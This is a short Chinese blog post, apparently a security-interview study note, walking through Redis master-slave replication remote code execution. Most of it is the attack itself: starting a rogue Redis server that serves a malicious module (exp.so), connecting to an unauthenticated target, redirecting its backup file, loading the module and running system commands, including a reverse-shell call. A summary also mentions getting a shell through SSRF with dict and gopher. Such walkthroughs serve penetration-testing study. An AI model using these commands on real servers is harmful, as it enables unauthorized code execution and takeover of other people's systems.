redis主从复制

最新推荐文章于 2024-09-26 08:15:00 发布

ad_m1n

最新推荐文章于 2024-09-26 08:15:00 发布

阅读量359

点赞数

分类专栏：书籍工具资料收集文章标签：安全面试

本文链接：https://blog.csdn.net/hacker_zrq/article/details/139132017

版权

书籍工具资料收集专栏收录该内容

27 篇文章 ¥19.90 ¥99.00

订阅专栏

本文探讨了Redis主从复制过程中可能存在的RCE风险。首先详细记录了手动触发主从复制RCE的步骤，包括编写脚本构造恶意Redis服务器并监听本地端口。接着，介绍了如何通过主从复制实现反弹shell，提到了利用SSRF漏洞代码，通过dict和gopher协议成功获取shell的方法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一、主从复制RCE

手动操作过程记录：

1、编写脚本，构造恶意Redis服务器，监听本地端口1234，加载exp.so。

python RogueServer.py --lport 1234 --exp exp.so

2、通过未授权访问连入要攻击的redis服务器。

执行相关命令：

#设置redis的备份路径为当前目录
    config set dir ./
#设置备份文件名为exp.so，默认为dump.rdb
    config set dbfilename exp.so
#设置主服务器IP和端口
    slaveof 192.168.172.129 1234  
#加载恶意模块
    module load ./exp.so
#切断主从，关闭复制功能
    slaveof no one 
#执行系统命令
    system.exec 'whoami'
    system.rev 127.0.0.1 9999    
#通过dump.rdb文件恢复数据
    config set dbfilename dump

了解本专栏